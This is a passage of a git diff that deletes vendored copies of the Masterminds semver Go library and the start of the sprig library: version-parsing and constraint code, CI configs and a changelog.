`1.2.x` is equivalent to `>= 1.2.0, < 1.3.0` -* `>= 1.2.x` is equivalent to `>= 1.2.0` -* `<= 2.x` is equivalent to `<= 3` -* `*` is equivalent to `>= 0.0.0` - -## Tilde Range Comparisons (Patch) - -The tilde (`~`) comparison operator is for patch level ranges when a minor -version is specified and major level changes when the minor number is missing. -For example, - -* `~1.2.3` is equivalent to `>= 1.2.3, < 1.3.0` -* `~1` is equivalent to `>= 1, < 2` -* `~2.3` is equivalent to `>= 2.3, < 2.4` -* `~1.2.x` is equivalent to `>= 1.2.0, < 1.3.0` -* `~1.x` is equivalent to `>= 1, < 2` - -## Caret Range Comparisons (Major) - -The caret (`^`) comparison operator is for major level changes. This is useful -when comparisons of API versions as a major change is API breaking. For example, - -* `^1.2.3` is equivalent to `>= 1.2.3, < 2.0.0` -* `^1.2.x` is equivalent to `>= 1.2.0, < 2.0.0` -* `^2.3` is equivalent to `>= 2.3, < 3` -* `^2.x` is equivalent to `>= 2.0.0, < 3` - -# Validation - -In addition to testing a version against a constraint, a version can be validated -against a constraint. When validation fails a slice of errors containing why a -version didn't meet the constraint is returned. For example, - -```go - c, err := semver.NewConstraint("<= 1.2.3, >= 1.4") - if err != nil { - // Handle constraint not being parseable. - } - - v, _ := semver.NewVersion("1.3") - if err != nil { - // Handle version not being parseable. - } - - // Validate a version against a constraint. - a, msgs := c.Validate(v) - // a is false - for _, m := range msgs { - fmt.Println(m) - - // Loops over the errors which would read - // "1.3 is greater than 1.2.3" - // "1.3 is less than 1.4" - } -``` - -# Contribute - -If you find an issue or want to contribute please file an [issue](https://github.com/Masterminds/semver/issues) -or [create a pull request](https://github.com/Masterminds/semver/pulls). diff --git a/vendor/github.com/Masterminds/semver/appveyor.yml b/vendor/github.com/Masterminds/semver/appveyor.yml deleted file mode 100644 index b2778df15a..0000000000 --- a/vendor/github.com/Masterminds/semver/appveyor.yml +++ /dev/null @@ -1,44 +0,0 @@ -version: build-{build}.{branch} - -clone_folder: C:\gopath\src\github.com\Masterminds\semver -shallow_clone: true - -environment: - GOPATH: C:\gopath - -platform: - - x64 - -install: - - go version - - go env - - go get -u gopkg.in/alecthomas/gometalinter.v1 - - set PATH=%PATH%;%GOPATH%\bin - - gometalinter.v1.exe --install - -build_script: - - go install -v ./... - -test_script: - - "gometalinter.v1 \ - --disable-all \ - --enable deadcode \ - --severity deadcode:error \ - --enable gofmt \ - --enable gosimple \ - --enable ineffassign \ - --enable misspell \ - --enable vet \ - --tests \ - --vendor \ - --deadline 60s \ - ./... || exit_code=1" - - "gometalinter.v1 \ - --disable-all \ - --enable golint \ - --vendor \ - --deadline 60s \ - ./... || :" - - go test -v - -deploy: off diff --git a/vendor/github.com/Masterminds/semver/collection.go b/vendor/github.com/Masterminds/semver/collection.go deleted file mode 100644 index a78235895f..0000000000 --- a/vendor/github.com/Masterminds/semver/collection.go +++ /dev/null @@ -1,24 +0,0 @@ -package semver - -// Collection is a collection of Version instances and implements the sort -// interface. See the sort package for more details. -// https://golang.org/pkg/sort/ -type Collection []*Version - -// Len returns the length of a collection. The number of Version instances -// on the slice. -func (c Collection) Len() int { - return len(c) -} - -// Less is needed for the sort interface to compare two Version objects on the -// slice. If checks if one is less than the other. -func (c Collection) Less(i, j int) bool { - return c[i].LessThan(c[j]) -} - -// Swap is needed for the sort interface to replace the Version objects -// at two different positions in the slice. -func (c Collection) Swap(i, j int) { - c[i], c[j] = c[j], c[i] -} diff --git a/vendor/github.com/Masterminds/semver/constraints.go b/vendor/github.com/Masterminds/semver/constraints.go deleted file mode 100644 index a41a6a7a4a..0000000000 --- a/vendor/github.com/Masterminds/semver/constraints.go +++ /dev/null @@ -1,426 +0,0 @@ -package semver - -import ( - "errors" - "fmt" - "regexp" - "strings" -) - -// Constraints is one or more constraint that a semantic version can be -// checked against. -type Constraints struct { - constraints [][]*constraint -} - -// NewConstraint returns a Constraints instance that a Version instance can -// be checked against. If there is a parse error it will be returned. -func NewConstraint(c string) (*Constraints, error) { - - // Rewrite - ranges into a comparison operation. - c = rewriteRange(c) - - ors := strings.Split(c, "||") - or := make([][]*constraint, len(ors)) - for k, v := range ors { - cs := strings.Split(v, ",") - result := make([]*constraint, len(cs)) - for i, s := range cs { - pc, err := parseConstraint(s) - if err != nil { - return nil, err - } - - result[i] = pc - } - or[k] = result - } - - o := &Constraints{constraints: or} - return o, nil -} - -// Check tests if a version satisfies the constraints. -func (cs Constraints) Check(v *Version) bool { - // loop over the ORs and check the inner ANDs - for _, o := range cs.constraints { - joy := true - for _, c := range o { - if !c.check(v) { - joy = false - break - } - } - - if joy { - return true - } - } - - return false -} - -// Validate checks if a version satisfies a constraint. If not a slice of -// reasons for the failure are returned in addition to a bool. -func (cs Constraints) Validate(v *Version) (bool, []error) { - // loop over the ORs and check the inner ANDs - var e []error - for _, o := range cs.constraints { - joy := true - for _, c := range o { - if !c.check(v) { - em := fmt.Errorf(c.msg, v, c.orig) - e = append(e, em) - joy = false - } - } - - if joy { - return true, []error{} - } - } - - return false, e -} - -var constraintOps map[string]cfunc -var constraintMsg map[string]string -var constraintRegex *regexp.Regexp - -func init() { - constraintOps = map[string]cfunc{ - "": constraintTildeOrEqual, - "=": constraintTildeOrEqual, - "!=": constraintNotEqual, - ">": constraintGreaterThan, - "<": constraintLessThan, - ">=": constraintGreaterThanEqual, - "=>": constraintGreaterThanEqual, - "<=": constraintLessThanEqual, - "=<": constraintLessThanEqual, - "~": constraintTilde, - "~>": constraintTilde, - "^": constraintCaret, - } - - constraintMsg = map[string]string{ - "": "%s is not equal to %s", - "=": "%s is not equal to %s", - "!=": "%s is equal to %s", - ">": "%s is less than or equal to %s", - "<": "%s is greater than or equal to %s", - ">=": "%s is less than %s", - "=>": "%s is less than %s", - "<=": "%s is greater than %s", - "=<": "%s is greater than %s", - "~": "%s does not have same major and minor version as %s", - "~>": "%s does not have same major and minor version as %s", - "^": "%s does not have same major version as %s", - } - - ops := make([]string, 0, len(constraintOps)) - for k := range constraintOps { - ops = append(ops, regexp.QuoteMeta(k)) - } - - constraintRegex = regexp.MustCompile(fmt.Sprintf( - `^\s*(%s)\s*(%s)\s*$`, - strings.Join(ops, "|"), - cvRegex)) - - constraintRangeRegex = regexp.MustCompile(fmt.Sprintf( - `\s*(%s)\s+-\s+(%s)\s*`, - cvRegex, cvRegex)) -} - -// An individual constraint -type constraint struct { - // The callback function for the restraint. It performs the logic for - // the constraint. - function cfunc - - msg string - - // The version used in the constraint check. For example, if a constraint - // is '<= 2.0.0' the con a version instance representing 2.0.0. - con *Version - - // The original parsed version (e.g., 4.x from != 4.x) - orig string - - // When an x is used as part of the version (e.g., 1.x) - minorDirty bool - dirty bool - patchDirty bool -} - -// Check if a version meets the constraint -func (c *constraint) check(v *Version) bool { - return c.function(v, c) -} - -type cfunc func(v *Version, c *constraint) bool - -func parseConstraint(c string) (*constraint, error) { - m := constraintRegex.FindStringSubmatch(c) - if m == nil { - return nil, fmt.Errorf("improper constraint: %s", c) - } - - ver := m[2] - orig := ver - minorDirty := false - patchDirty := false - dirty := false - if isX(m[3]) { - ver = "0.0.0" - dirty = true - } else if isX(strings.TrimPrefix(m[4], ".")) || m[4] == "" { - minorDirty = true - dirty = true - ver = fmt.Sprintf("%s.0.0%s", m[3], m[6]) - } else if isX(strings.TrimPrefix(m[5], ".")) { - dirty = true - patchDirty = true - ver = fmt.Sprintf("%s%s.0%s", m[3], m[4], m[6]) - } - - con, err := NewVersion(ver) - if err != nil { - - // The constraintRegex should catch any regex parsing errors. So, - // we should never get here. - return nil, errors.New("constraint Parser Error") - } - - cs := &constraint{ - function: constraintOps[m[1]], - msg: constraintMsg[m[1]], - con: con, - orig: orig, - minorDirty: minorDirty, - patchDirty: patchDirty, - dirty: dirty, - } - return cs, nil -} - -// Constraint functions -func constraintNotEqual(v *Version, c *constraint) bool { - if c.dirty { - - // If there is a pre-release on the version but the constraint isn't looking - // for them assume that pre-releases are not compatible. See issue 21 for - // more details. - if v.Prerelease() != "" && c.con.Prerelease() == "" { - return false - } - - if c.con.Major() != v.Major() { - return true - } - if c.con.Minor() != v.Minor() && !c.minorDirty { - return true - } else if c.minorDirty { - return false - } - - return false - } - - return !v.Equal(c.con) -} - -func constraintGreaterThan(v *Version, c *constraint) bool { - - // An edge case the constraint is 0.0.0 and the version is 0.0.0-someprerelease - // exists. This that case. - if !isNonZero(c.con) && isNonZero(v) { - return true - } - - // If there is a pre-release on the version but the constraint isn't looking - // for them assume that pre-releases are not compatible. See issue 21 for - // more details. - if v.Prerelease() != "" && c.con.Prerelease() == "" { - return false - } - - return v.Compare(c.con) == 1 -} - -func constraintLessThan(v *Version, c *constraint) bool { - // If there is a pre-release on the version but the constraint isn't looking - // for them assume that pre-releases are not compatible. See issue 21 for - // more details. - if v.Prerelease() != "" && c.con.Prerelease() == "" { - return false - } - - if !c.dirty { - return v.Compare(c.con) < 0 - } - - if v.Major() > c.con.Major() { - return false - } else if v.Minor() > c.con.Minor() && !c.minorDirty { - return false - } - - return true -} - -func constraintGreaterThanEqual(v *Version, c *constraint) bool { - // An edge case the constraint is 0.0.0 and the version is 0.0.0-someprerelease - // exists. This that case. - if !isNonZero(c.con) && isNonZero(v) { - return true - } - - // If there is a pre-release on the version but the constraint isn't looking - // for them assume that pre-releases are not compatible. See issue 21 for - // more details. - if v.Prerelease() != "" && c.con.Prerelease() == "" { - return false - } - - return v.Compare(c.con) >= 0 -} - -func constraintLessThanEqual(v *Version, c *constraint) bool { - // If there is a pre-release on the version but the constraint isn't looking - // for them assume that pre-releases are not compatible. See issue 21 for - // more details. - if v.Prerelease() != "" && c.con.Prerelease() == "" { - return false - } - - if !c.dirty { - return v.Compare(c.con) <= 0 - } - - if v.Major() > c.con.Major() { - return false - } else if v.Minor() > c.con.Minor() && !c.minorDirty { - return false - } - - return true -} - -// ~*, ~>* --> >= 0.0.0 (any) -// ~2, ~2.x, ~2.x.x, ~>2, ~>2.x ~>2.x.x --> >=2.0.0, <3.0.0 -// ~2.0, ~2.0.x, ~>2.0, ~>2.0.x --> >=2.0.0, <2.1.0 -// ~1.2, ~1.2.x, ~>1.2, ~>1.2.x --> >=1.2.0, <1.3.0 -// ~1.2.3, ~>1.2.3 --> >=1.2.3, <1.3.0 -// ~1.2.0, ~>1.2.0 --> >=1.2.0, <1.3.0 -func constraintTilde(v *Version, c *constraint) bool { - // If there is a pre-release on the version but the constraint isn't looking - // for them assume that pre-releases are not compatible. See issue 21 for - // more details. - if v.Prerelease() != "" && c.con.Prerelease() == "" { - return false - } - - if v.LessThan(c.con) { - return false - } - - // ~0.0.0 is a special case where all constraints are accepted. It's - // equivalent to >= 0.0.0. - if c.con.Major() == 0 && c.con.Minor() == 0 && c.con.Patch() == 0 && - !c.minorDirty && !c.patchDirty { - return true - } - - if v.Major() != c.con.Major() { - return false - } - - if v.Minor() != c.con.Minor() && !c.minorDirty { - return false - } - - return true -} - -// When there is a .x (dirty) status it automatically opts in to ~. Otherwise -// it's a straight = -func constraintTildeOrEqual(v *Version, c *constraint) bool { - // If there is a pre-release on the version but the constraint isn't looking - // for them assume that pre-releases are not compatible. See issue 21 for - // more details. - if v.Prerelease() != "" && c.con.Prerelease() == "" { - return false - } - - if c.dirty { - c.msg = constraintMsg["~"] - return constraintTilde(v, c) - } - - return v.Equal(c.con) -} - -// ^* --> (any) -// ^2, ^2.x, ^2.x.x --> >=2.0.0, <3.0.0 -// ^2.0, ^2.0.x --> >=2.0.0, <3.0.0 -// ^1.2, ^1.2.x --> >=1.2.0, <2.0.0 -// ^1.2.3 --> >=1.2.3, <2.0.0 -// ^1.2.0 --> >=1.2.0, <2.0.0 -func constraintCaret(v *Version, c *constraint) bool { - // If there is a pre-release on the version but the constraint isn't looking - // for them assume that pre-releases are not compatible. See issue 21 for - // more details. - if v.Prerelease() != "" && c.con.Prerelease() == "" { - return false - } - - if v.LessThan(c.con) { - return false - } - - if v.Major() != c.con.Major() { - return false - } - - return true -} - -var constraintRangeRegex *regexp.Regexp - -const cvRegex string = `v?([0-9|x|X|\*]+)(\.[0-9|x|X|\*]+)?(\.[0-9|x|X|\*]+)?` + - `(-([0-9A-Za-z\-]+(\.[0-9A-Za-z\-]+)*))?` + - `(\+([0-9A-Za-z\-]+(\.[0-9A-Za-z\-]+)*))?` - -func isX(x string) bool { - switch x { - case "x", "*", "X": - return true - default: - return false - } -} - -func rewriteRange(i string) string { - m := constraintRangeRegex.FindAllStringSubmatch(i, -1) - if m == nil { - return i - } - o := i - for _, v := range m { - t := fmt.Sprintf(">= %s, <= %s", v[1], v[11]) - o = strings.Replace(o, v[0], t, 1) - } - - return o -} - -// Detect if a version is not zero (0.0.0) -func isNonZero(v *Version) bool { - if v.Major() != 0 || v.Minor() != 0 || v.Patch() != 0 || v.Prerelease() != "" { - return true - } - - return false -} diff --git a/vendor/github.com/Masterminds/semver/doc.go b/vendor/github.com/Masterminds/semver/doc.go deleted file mode 100644 index e00f65eb73..0000000000 --- a/vendor/github.com/Masterminds/semver/doc.go +++ /dev/null @@ -1,115 +0,0 @@ -/* -Package semver provides the ability to work with Semantic Versions (http://semver.org) in Go. - -Specifically it provides the ability to: - - * Parse semantic versions - * Sort semantic versions - * Check if a semantic version fits within a set of constraints - * Optionally work with a `v` prefix - -Parsing Semantic Versions - -To parse a semantic version use the `NewVersion` function. For example, - - v, err := semver.NewVersion("1.2.3-beta.1+build345") - -If there is an error the version wasn't parseable. The version object has methods -to get the parts of the version, compare it to other versions, convert the -version back into a string, and get the original string. For more details -please see the documentation at https://godoc.org/github.com/Masterminds/semver. - -Sorting Semantic Versions - -A set of versions can be sorted using the `sort` package from the standard library. -For example, - - raw := []string{"1.2.3", "1.0", "1.3", "2", "0.4.2",} - vs := make([]*semver.Version, len(raw)) - for i, r := range raw { - v, err := semver.NewVersion(r) - if err != nil { - t.Errorf("Error parsing version: %s", err) - } - - vs[i] = v - } - - sort.Sort(semver.Collection(vs)) - -Checking Version Constraints - -Checking a version against version constraints is one of the most featureful -parts of the package. - - c, err := semver.NewConstraint(">= 1.2.3") - if err != nil { - // Handle constraint not being parseable. - } - - v, _ := semver.NewVersion("1.3") - if err != nil { - // Handle version not being parseable. - } - // Check if the version meets the constraints. The a variable will be true. - a := c.Check(v) - -Basic Comparisons - -There are two elements to the comparisons. First, a comparison string is a list -of comma separated and comparisons. These are then separated by || separated or -comparisons. For example, `">= 1.2, < 3.0.0 || >= 4.2.3"` is looking for a -comparison that's greater than or equal to 1.2 and less than 3.0.0 or is -greater than or equal to 4.2.3. - -The basic comparisons are: - - * `=`: equal (aliased to no operator) - * `!=`: not equal - * `>`: greater than - * `<`: less than - * `>=`: greater than or equal to - * `<=`: less than or equal to - -Hyphen Range Comparisons - -There are multiple methods to handle ranges and the first is hyphens ranges. -These look like: - - * `1.2 - 1.4.5` which is equivalent to `>= 1.2, <= 1.4.5` - * `2.3.4 - 4.5` which is equivalent to `>= 2.3.4, <= 4.5` - -Wildcards In Comparisons - -The `x`, `X`, and `*` characters can be used as a wildcard character. This works -for all comparison operators. When used on the `=` operator it falls -back to the pack level comparison (see tilde below). For example, - - * `1.2.x` is equivalent to `>= 1.2.0, < 1.3.0` - * `>= 1.2.x` is equivalent to `>= 1.2.0` - * `<= 2.x` is equivalent to `<= 3` - * `*` is equivalent to `>= 0.0.0` - -Tilde Range Comparisons (Patch) - -The tilde (`~`) comparison operator is for patch level ranges when a minor -version is specified and major level changes when the minor number is missing. -For example, - - * `~1.2.3` is equivalent to `>= 1.2.3, < 1.3.0` - * `~1` is equivalent to `>= 1, < 2` - * `~2.3` is equivalent to `>= 2.3, < 2.4` - * `~1.2.x` is equivalent to `>= 1.2.0, < 1.3.0` - * `~1.x` is equivalent to `>= 1, < 2` - -Caret Range Comparisons (Major) - -The caret (`^`) comparison operator is for major level changes. This is useful -when comparisons of API versions as a major change is API breaking. For example, - - * `^1.2.3` is equivalent to `>= 1.2.3, < 2.0.0` - * `^1.2.x` is equivalent to `>= 1.2.0, < 2.0.0` - * `^2.3` is equivalent to `>= 2.3, < 3` - * `^2.x` is equivalent to `>= 2.0.0, < 3` -*/ -package semver diff --git a/vendor/github.com/Masterminds/semver/version.go b/vendor/github.com/Masterminds/semver/version.go deleted file mode 100644 index 9d22ea6308..0000000000 --- a/vendor/github.com/Masterminds/semver/version.go +++ /dev/null @@ -1,421 +0,0 @@ -package semver - -import ( - "bytes" - "encoding/json" - "errors" - "fmt" - "regexp" - "strconv" - "strings" -) - -// The compiled version of the regex created at init() is cached here so it -// only needs to be created once. -var versionRegex *regexp.Regexp -var validPrereleaseRegex *regexp.Regexp - -var ( - // ErrInvalidSemVer is returned a version is found to be invalid when - // being parsed. - ErrInvalidSemVer = errors.New("Invalid Semantic Version") - - // ErrInvalidMetadata is returned when the metadata is an invalid format - ErrInvalidMetadata = errors.New("Invalid Metadata string") - - // ErrInvalidPrerelease is returned when the pre-release is an invalid format - ErrInvalidPrerelease = errors.New("Invalid Prerelease string") -) - -// SemVerRegex is the regular expression used to parse a semantic version. -const SemVerRegex string = `v?([0-9]+)(\.[0-9]+)?(\.[0-9]+)?` + - `(-([0-9A-Za-z\-]+(\.[0-9A-Za-z\-]+)*))?` + - `(\+([0-9A-Za-z\-]+(\.[0-9A-Za-z\-]+)*))?` - -// ValidPrerelease is the regular expression which validates -// both prerelease and metadata values. -const ValidPrerelease string = `^([0-9A-Za-z\-]+(\.[0-9A-Za-z\-]+)*)` - -// Version represents a single semantic version. -type Version struct { - major, minor, patch int64 - pre string - metadata string - original string -} - -func init() { - versionRegex = regexp.MustCompile("^" + SemVerRegex + "$") - validPrereleaseRegex = regexp.MustCompile(ValidPrerelease) -} - -// NewVersion parses a given version and returns an instance of Version or -// an error if unable to parse the version. -func NewVersion(v string) (*Version, error) { - m := versionRegex.FindStringSubmatch(v) - if m == nil { - return nil, ErrInvalidSemVer - } - - sv := &Version{ - metadata: m[8], - pre: m[5], - original: v, - } - - var temp int64 - temp, err := strconv.ParseInt(m[1], 10, 64) - if err != nil { - return nil, fmt.Errorf("Error parsing version segment: %s", err) - } - sv.major = temp - - if m[2] != "" { - temp, err = strconv.ParseInt(strings.TrimPrefix(m[2], "."), 10, 64) - if err != nil { - return nil, fmt.Errorf("Error parsing version segment: %s", err) - } - sv.minor = temp - } else { - sv.minor = 0 - } - - if m[3] != "" { - temp, err = strconv.ParseInt(strings.TrimPrefix(m[3], "."), 10, 64) - if err != nil { - return nil, fmt.Errorf("Error parsing version segment: %s", err) - } - sv.patch = temp - } else { - sv.patch = 0 - } - - return sv, nil -} - -// MustParse parses a given version and panics on error. -func MustParse(v string) *Version { - sv, err := NewVersion(v) - if err != nil { - panic(err) - } - return sv -} - -// String converts a Version object to a string. -// Note, if the original version contained a leading v this version will not. -// See the Original() method to retrieve the original value. Semantic Versions -// don't contain a leading v per the spec. Instead it's optional on -// impelementation. -func (v *Version) String() string { - var buf bytes.Buffer - - fmt.Fprintf(&buf, "%d.%d.%d", v.major, v.minor, v.patch) - if v.pre != "" { - fmt.Fprintf(&buf, "-%s", v.pre) - } - if v.metadata != "" { - fmt.Fprintf(&buf, "+%s", v.metadata) - } - - return buf.String() -} - -// Original returns the original value passed in to be parsed. -func (v *Version) Original() string { - return v.original -} - -// Major returns the major version. -func (v *Version) Major() int64 { - return v.major -} - -// Minor returns the minor version. -func (v *Version) Minor() int64 { - return v.minor -} - -// Patch returns the patch version. -func (v *Version) Patch() int64 { - return v.patch -} - -// Prerelease returns the pre-release version. -func (v *Version) Prerelease() string { - return v.pre -} - -// Metadata returns the metadata on the version. -func (v *Version) Metadata() string { - return v.metadata -} - -// originalVPrefix returns the original 'v' prefix if any. -func (v *Version) originalVPrefix() string { - - // Note, only lowercase v is supported as a prefix by the parser. - if v.original != "" && v.original[:1] == "v" { - return v.original[:1] - } - return "" -} - -// IncPatch produces the next patch version. -// If the current version does not have prerelease/metadata information, -// it unsets metadata and prerelease values, increments patch number. -// If the current version has any of prerelease or metadata information, -// it unsets both values and keeps curent patch value -func (v Version) IncPatch() Version { - vNext := v - // according to http://semver.org/#spec-item-9 - // Pre-release versions have a lower precedence than the associated normal version. - // according to http://semver.org/#spec-item-10 - // Build metadata SHOULD be ignored when determining version precedence. - if v.pre != "" { - vNext.metadata = "" - vNext.pre = "" - } else { - vNext.metadata = "" - vNext.pre = "" - vNext.patch = v.patch + 1 - } - vNext.original = v.originalVPrefix() + "" + vNext.String() - return vNext -} - -// IncMinor produces the next minor version. -// Sets patch to 0. -// Increments minor number. -// Unsets metadata. -// Unsets prerelease status. -func (v Version) IncMinor() Version { - vNext := v - vNext.metadata = "" - vNext.pre = "" - vNext.patch = 0 - vNext.minor = v.minor + 1 - vNext.original = v.originalVPrefix() + "" + vNext.String() - return vNext -} - -// IncMajor produces the next major version. -// Sets patch to 0. -// Sets minor to 0. -// Increments major number. -// Unsets metadata. -// Unsets prerelease status. -func (v Version) IncMajor() Version { - vNext := v - vNext.metadata = "" - vNext.pre = "" - vNext.patch = 0 - vNext.minor = 0 - vNext.major = v.major + 1 - vNext.original = v.originalVPrefix() + "" + vNext.String() - return vNext -} - -// SetPrerelease defines the prerelease value. -// Value must not include the required 'hypen' prefix. -func (v Version) SetPrerelease(prerelease string) (Version, error) { - vNext := v - if len(prerelease) > 0 && !validPrereleaseRegex.MatchString(prerelease) { - return vNext, ErrInvalidPrerelease - } - vNext.pre = prerelease - vNext.original = v.originalVPrefix() + "" + vNext.String() - return vNext, nil -} - -// SetMetadata defines metadata value. -// Value must not include the required 'plus' prefix. -func (v Version) SetMetadata(metadata string) (Version, error) { - vNext := v - if len(metadata) > 0 && !validPrereleaseRegex.MatchString(metadata) { - return vNext, ErrInvalidMetadata - } - vNext.metadata = metadata - vNext.original = v.originalVPrefix() + "" + vNext.String() - return vNext, nil -} - -// LessThan tests if one version is less than another one. -func (v *Version) LessThan(o *Version) bool { - return v.Compare(o) < 0 -} - -// GreaterThan tests if one version is greater than another one. -func (v *Version) GreaterThan(o *Version) bool { - return v.Compare(o) > 0 -} - -// Equal tests if two versions are equal to each other. -// Note, versions can be equal with different metadata since metadata -// is not considered part of the comparable version. -func (v *Version) Equal(o *Version) bool { - return v.Compare(o) == 0 -} - -// Compare compares this version to another one. It returns -1, 0, or 1 if -// the version smaller, equal, or larger than the other version. -// -// Versions are compared by X.Y.Z. Build metadata is ignored. Prerelease is -// lower than the version without a prerelease. -func (v *Version) Compare(o *Version) int { - // Compare the major, minor, and patch version for differences. If a - // difference is found return the comparison. - if d := compareSegment(v.Major(), o.Major()); d != 0 { - return d - } - if d := compareSegment(v.Minor(), o.Minor()); d != 0 { - return d - } - if d := compareSegment(v.Patch(), o.Patch()); d != 0 { - return d - } - - // At this point the major, minor, and patch versions are the same. - ps := v.pre - po := o.Prerelease() - - if ps == "" && po == "" { - return 0 - } - if ps == "" { - return 1 - } - if po == "" { - return -1 - } - - return comparePrerelease(ps, po) -} - -// UnmarshalJSON implements JSON.Unmarshaler interface. -func (v *Version) UnmarshalJSON(b []byte) error { - var s string - if err := json.Unmarshal(b, &s); err != nil { - return err - } - temp, err := NewVersion(s) - if err != nil { - return err - } - v.major = temp.major - v.minor = temp.minor - v.patch = temp.patch - v.pre = temp.pre - v.metadata = temp.metadata - v.original = temp.original - temp = nil - return nil -} - -// MarshalJSON implements JSON.Marshaler interface. -func (v *Version) MarshalJSON() ([]byte, error) { - return json.Marshal(v.String()) -} - -func compareSegment(v, o int64) int { - if v < o { - return -1 - } - if v > o { - return 1 - } - - return 0 -} - -func comparePrerelease(v, o string) int { - - // split the prelease versions by their part. The separator, per the spec, - // is a . - sparts := strings.Split(v, ".") - oparts := strings.Split(o, ".") - - // Find the longer length of the parts to know how many loop iterations to - // go through. - slen := len(sparts) - olen := len(oparts) - - l := slen - if olen > slen { - l = olen - } - - // Iterate over each part of the prereleases to compare the differences. - for i := 0; i < l; i++ { - // Since the lentgh of the parts can be different we need to create - // a placeholder. This is to avoid out of bounds issues. - stemp := "" - if i < slen { - stemp = sparts[i] - } - - otemp := "" - if i < olen { - otemp = oparts[i] - } - - d := comparePrePart(stemp, otemp) - if d != 0 { - return d - } - } - - // Reaching here means two versions are of equal value but have different - // metadata (the part following a +). They are not identical in string form - // but the version comparison finds them to be equal. - return 0 -} - -func comparePrePart(s, o string) int { - // Fastpath if they are equal - if s == o { - return 0 - } - - // When s or o are empty we can use the other in an attempt to determine - // the response. - if s == "" { - if o != "" { - return -1 - } - return 1 - } - - if o == "" { - if s != "" { - return 1 - } - return -1 - } - - // When comparing strings "99" is greater than "103". To handle - // cases like this we need to detect numbers and compare them. - - oi, n1 := strconv.ParseInt(o, 10, 64) - si, n2 := strconv.ParseInt(s, 10, 64) - - // The case where both are strings compare the strings - if n1 != nil && n2 != nil { - if s > o { - return 1 - } - return -1 - } else if n1 != nil { - // o is a string and s is a number - return -1 - } else if n2 != nil { - // s is a string and o is a number - return 1 - } - // Both are numbers - if si > oi { - return 1 - } - return -1 - -} diff --git a/vendor/github.com/Masterminds/sprig/.gitignore b/vendor/github.com/Masterminds/sprig/.gitignore deleted file mode 100644 index 5e3002f88f..0000000000 --- a/vendor/github.com/Masterminds/sprig/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -vendor/ -/.glide diff --git a/vendor/github.com/Masterminds/sprig/.travis.yml b/vendor/github.com/Masterminds/sprig/.travis.yml deleted file mode 100644 index 2e7c2d68e3..0000000000 --- a/vendor/github.com/Masterminds/sprig/.travis.yml +++ /dev/null @@ -1,23 +0,0 @@ -language: go - -go: - - 1.9.x - - 1.10.x - - tip - -# Setting sudo access to false will let Travis CI use containers rather than -# VMs to run the tests. For more details see: -# - http://docs.travis-ci.com/user/workers/container-based-infrastructure/ -# - http://docs.travis-ci.com/user/workers/standard-infrastructure/ -sudo: false - -script: - - make setup test - -notifications: - webhooks: - urls: - - https://webhooks.gitter.im/e/06e3328629952dabe3e0 - on_success: change # options: [always|never|change] default: always - on_failure: always # options: [always|never|change] default: always - on_start: never # options: [always|never|change] default: always diff --git a/vendor/github.com/Masterminds/sprig/CHANGELOG.md b/vendor/github.com/Masterminds/sprig/CHANGELOG.md deleted file mode 100644 index 445937138a..0000000000 --- a/vendor/github.com/Masterminds/sprig/CHANGELOG.md +++ /dev/null @@ -1,153 +0,0 @@ -# Changelog - -## Release 2.15.0 (2018-04-02) - -### Added - -- #68 and #69: Add json helpers to docs (thanks @arunvelsriram) -- #66: Add ternary function (thanks @binoculars) -- #67: Allow keys function to take multiple dicts (thanks @binoculars) -- #89: Added sha1sum to crypto function (thanks @benkeil) -- #81: Allow customizing Root CA that used by genSignedCert (thanks @chenzhiwei) -- #92: Add travis testing for go 1.10 -- #93: Adding appveyor config for windows testing - -### Changed - -- #90: Updating to more recent dependencies -- #73: replace satori/go.uuid with google/uuid (thanks @petterw) - -### Fixed - -- #76: Fixed documentation typos (thanks @Thiht) -- Fixed rounding issue on the `ago` function. Note, the removes support for Go 1.8 and older - -## Release 2.14.1 (2017-12-01) - -### Fixed - -- #60: Fix typo in function name documentation (thanks @neil-ca-moore) -- #61: Removing line with {{ due to blocking github pages genertion -- #64: Update the list functions to handle int, string, and other slices for compatibility - -## Release 2.14.0 (2017-10-06) - -This new version of Sprig adds a set of functions for generating and working with SSL certificates. - -- `genCA` generates an SSL Certificate Authority -- `genSelfSignedCert` generates an SSL self-signed certificate -- `genSignedCert` generates an SSL certificate and key based on a given CA - -## Release 2.13.0 (2017-09-18) - -This release adds new functions, including: - -- `regexMatch`, `regexFindAll`, `regexFind`, `regexReplaceAll`, `regexReplaceAllLiteral`, and `regexSplit` to work with regular expressions -- `floor`, `ceil`, and `round` math functions -- `toDate` converts a string to a date -- `nindent` is just like `indent` but also prepends a new line -- `ago` returns the time from `time.Now` - -### Added - -- #40: Added basic regex functionality (thanks @alanquillin) -- #41: Added ceil floor and round functions (thanks @alanquillin) -- #48: Added toDate function (thanks @andreynering) -- #50: Added nindent function (thanks @binoculars) -- #46: Added ago function (thanks @slayer) - -### Changed - -- #51: Updated godocs to include new string functions (thanks @curtisallen) -- #49: Added ability to merge multiple dicts (thanks @binoculars) - -## Release 2.12.0 (2017-05-17) - -- `snakecase`, `camelcase`, and `shuffle` are three new string functions -- `fail` allows you to bail out of a template render when conditions are not met - -## Release 2.11.0 (2017-05-02) - -- Added `toJson` and `toPrettyJson` -- Added `merge` -- Refactored documentation - -## Release 2.10.0 (2017-03-15) - -- Added `semver` and `semverCompare` for Semantic Versions -- `list` replaces `tuple` -- Fixed issue with `join` -- Added `first`, `last`, `intial`, `rest`, `prepend`, `append`, `toString`, `toStrings`, `sortAlpha`, `reverse`, `coalesce`, `pluck`, `pick`, `compact`, `keys`, `omit`, `uniq`, `has`, `without` - -## Release 2.9.0 (2017-02-23) - -- Added `splitList` to split a list -- Added crypto functions of `genPrivateKey` and `derivePassword` - -## Release 2.8.0 (2016-12-21) - -- Added access to several path functions (`base`, `dir`, `clean`, `ext`, and `abs`) -- Added functions for _mutating_ dictionaries (`set`, `unset`, `hasKey`) - -## Release 2.7.0 (2016-12-01) - -- Added `sha256sum` to generate a hash of an input -- Added functions to convert a numeric or string to `int`, `int64`, `float64` - -## Release 2.6.0 (2016-10-03) - -- Added a `uuidv4` template function for generating UUIDs inside of a template. - -## Release 2.5.0 (2016-08-19) - -- New `trimSuffix`, `trimPrefix`, `hasSuffix`, and `hasPrefix` functions -- New aliases have been added for a few functions that didn't follow the naming conventions (`trimAll` and `abbrevBoth`) -- `trimall` and `abbrevboth` (notice the case) are deprecated and will be removed in 3.0.0 - -## Release 2.4.0 (2016-08-16) - -- Adds two functions: `until` and `untilStep` - -## Release 2.3.0 (2016-06-21) - -- cat: Concatenate strings with 